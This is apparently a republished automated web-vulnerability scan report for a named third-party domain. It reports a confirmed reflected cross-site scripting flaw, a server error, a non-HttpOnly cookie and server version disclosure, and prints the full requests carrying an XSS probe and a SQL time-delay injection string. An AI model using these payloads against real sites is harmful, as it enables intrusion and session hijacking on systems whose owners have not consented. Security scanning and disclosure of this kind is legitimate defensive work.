html.aggregateknowledge.com, XSS, GHDB DORK REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

Netsparker - Scan Report Summary
TARGET URL
http://html.aggregateknowledge.com/iframe?pid...
SCAN DATE
5/3/2011 1:50:03 PM
REPORT DATE
5/3/2011 2:00:49 PM
SCAN DURATION
00:00:08

Total Requests

Average Speed

req/sec.
4
identified
3
confirmed
0
critical
0
informational

DORK TESTS

DORK TESTS
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
25 %
LOW
75 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/iframe pid GET Cross-site Scripting Yes
pid GET Internal Server Error Yes
Cookie Not Marked As HttpOnly Yes
Apache Coyote Version Disclosure No
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /iframe

/iframe CONFIRMED

http://html.aggregateknowledge.com/iframe?pid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x..

Parameters

Parameter Type Value
pid GET '"--></style></script><script>alert(0x000014)</script>
itemid GET 298028
senduuid GET 0
che GET 1304429183

Request

GET /iframe?pid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000014)%3C/script%3E&itemid=298028&senduuid=0&che=1304429183 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: html.aggregateknowledge.com
Cookie: $Version=1; uuid=240731926127785695; $Path=/; $Domain=.aggregateknowledge.com; $Version=1; u=5|0AARa%2Br4AAAAAFw0AEOFTAAAAIAAAABDhUwAAACAAAAAQ4VMAAAAgAAAAEOFTAAAAIAAAABDhUwAAACAAAAAQ4VMAAAAgAAAAEOFTAAAAIAAAABDhUwAAACAAAAAQ4VMAAAAgAAAAEOFTAAAAIAAAABDhUwAAACAAAAAQ4VMAAAAgAAAAEOFTAAAAIAAA; $Path=/; $Domain=.aggregateknowledge.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Encoding:
Vary: Accept-Encoding
Date: Tue, 03 May 2011 13:50:08 GMT
Connection: close


<!-- An Aggregate Knowledge internal error occurred; Unable to service request. java.lang.IllegalArgumentException: Could not convert "'"--></style></script><script>netsparker(0x000014)</script>" to int / long. at net.agkn.module.common.parameter.ParameterDefinition.castSingleValue(ParameterDefinition.java:259) at net.agkn.module.common.parameter.ParameterDefinition.castValue(ParameterDefinition.java:209) at net.agkn.module.common.parameter.ParameterCollection.setParameterValue(ParameterCollection.java:108) at net.agkn.module.common.impl.ModuleRequest.setParameterValue(ModuleRequest.java:162) at net.agkn.html.controller.behavior.IFrameController.processBehaviorCollection(IFrameController.java:366) at net.agkn.html.controller.behavior.IFrameController.handleRequest(IFrameController.java:313) at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:48) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:875) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:807) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:571) at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:501) at javax.servlet.http.HttpServlet.service(HttpServlet.java:627) at javax.servlet.http.HttpServlet.service(HttpServlet.java:729) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:269) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:679) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:461) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:399) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:301) at org.tuckey.web.filters.urlrewrite.NormalRewrittenUrl.doRewrite(NormalRewrittenUrl.java:195) at org.tuckey.web.filters.urlrewrite.RuleChain.handleRewrite(RuleChain.java:159) at org.tuckey.web.filters.urlrewrite.RuleChain.doRules(RuleChain.java:141) at org.tuckey.web.filters.urlrewrite.UrlRewriter.processRequest(UrlRewriter.java:90) at org.tuckey.web.filters.urlrewrite.UrlRewriteFilter.doFilter(UrlRewriteFilter.java:417) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:215) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:213) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:172) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:117) at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:581) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:108) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:174) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:873) at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:665) at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:528) at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:81) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) at java.lang.Thread.run(Thread.java:735)-->
Internal Server Error

Internal Server Error

1 TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
- /iframe

/iframe CONFIRMED

http://html.aggregateknowledge.com/iframe?pid=%27;WAITFOR%20DELAY%20%270:0:25%27--&itemid=298028&sen..

Parameters

Parameter Type Value
pid GET ';WAITFOR DELAY '0:0:25'--
itemid GET 298028
senduuid GET 0
che GET 1304429183

Request

GET /iframe?pid=%27;WAITFOR%20DELAY%20%270:0:25%27--&itemid=298028&senduuid=0&che=1304429183 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: html.aggregateknowledge.com
Cookie: $Version=1; uuid=240731926127785695; $Path=/; $Domain=.aggregateknowledge.com; $Version=1; u=5|0AARa%2Br4AAAAAAAEAEOFTAAAAIAAA; $Path=/; $Domain=.aggregateknowledge.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Encoding:
Vary: Accept-Encoding
Date: Tue, 03 May 2011 13:50:08 GMT
Connection: close


<!-- An Aggregate Knowledge internal error occurred; Unable to service request. java.lang.IllegalArgumentException: Could not convert "';WAITFOR DELAY '0:0:25'--" to int / long. at net.agkn.module.common.parameter.ParameterDefinition.castSingleValue(ParameterDefinition.java:259) at net.agkn.module.common.parameter.ParameterDefinition.castValue(ParameterDefinition.java:209) at net.agkn.module.common.parameter.ParameterCollection.setParameterValue(ParameterCollection.java:108) at net.agkn.module.common.impl.ModuleRequest.setParameterValue(ModuleRequest.java:162) at net.agkn.html.controller.behavior.IFrameController.processBehaviorCollection(IFrameController.java:366) at net.agkn.html.controller.behavior.IFrameController.handleRequest(IFrameController.java:313) at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:48) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:875) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:807) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:571) at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:501) at javax.servlet.http.HttpServlet.service(HttpServlet.java:627) at javax.servlet.http.HttpServlet.service(HttpServlet.java:729) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:269) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:679) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:461) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:399) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:301) at org.tuckey.web.filters.urlrewrite.NormalRewrittenUrl.doRewrite(NormalRewrittenUrl.java:195) at org.tuckey.web.filters.urlrewrite.RuleChain.handleRewrite(RuleChain.java:159) at org.tuckey.web.filters.urlrewrite.RuleChain.doRules(RuleChain.java:141) at org.tuckey.web.filters.urlrewrite.UrlRewriter.processRequest(UrlRewriter.java:90) at org.tuckey.web.filters.urlrewrite.UrlRewriteFilter.doFilter(UrlRewriteFilter.java:417) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:215) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:213) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:172) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:117) at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:581) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:108) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:174) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:873) at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:665) at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:528) at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:81) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) at java.lang.Thread.run(Thread.java:735)-->
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /iframe

/iframe CONFIRMED

http://html.aggregateknowledge.com/iframe?pid=32&itemid=298028&senduuid=0&che=1304429183

Identified Cookie

uuid

Request

GET /iframe?pid=32&itemid=298028&senduuid=0&che=1304429183 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: html.aggregateknowledge.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: uuid=240731926127785695; Version=1; Domain=.aggregateknowledge.com; Max-Age=157680000; Expires=Sun, 01-May-2016 13:50:04 GMT; Path=/,u=5|0AARa%2Br4AAAAAAAEAEOFTAAAAIAAA; Version=1; Domain=.aggregateknowledge.com; Max-Age=63072000; Expires=Thu, 02-May-2013 13:50:04 GMT; Path=/
P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: max-age=0, must-revalidate
Pragma: no-cache
Expires: Thu, 1 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 301
Date: Tue, 03 May 2011 13:50:03 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <meta http-equiv="pragma" content="no-cache"></head><body style="border: 0; margin: 0; padding: 0;"></body><head> <meta http-equiv="pragma" content="no-cache"></head></html>
Apache Coyote Version Disclosure

Apache Coyote Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing Apache Coyote version in the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can look for specific security vulnerabilities for the version identified in the SERVER header. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /iframe

/iframe

http://html.aggregateknowledge.com/iframe?pid=32&itemid=298028&senduuid=0&che=1304429183

Extracted Version

Apache-Coyote/1.1

Request

GET /iframe?pid=32&itemid=298028&senduuid=0&che=1304429183 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: html.aggregateknowledge.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: uuid=240731926127785695; Version=1; Domain=.aggregateknowledge.com; Max-Age=157680000; Expires=Sun, 01-May-2016 13:50:04 GMT; Path=/,u=5|0AARa%2Br4AAAAAAAEAEOFTAAAAIAAA; Version=1; Domain=.aggregateknowledge.com; Max-Age=63072000; Expires=Thu, 02-May-2013 13:50:04 GMT; Path=/
P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: max-age=0, must-revalidate
Pragma: no-cache
Expires: Thu, 1 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 301
Date: Tue, 03 May 2011 13:50:03 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <meta http-equiv="pragma" content="no-cache"></head><body style="border: 0; margin: 0; padding: 0;"></body><head> <meta http-equiv="pragma" content="no-cache"></head></html>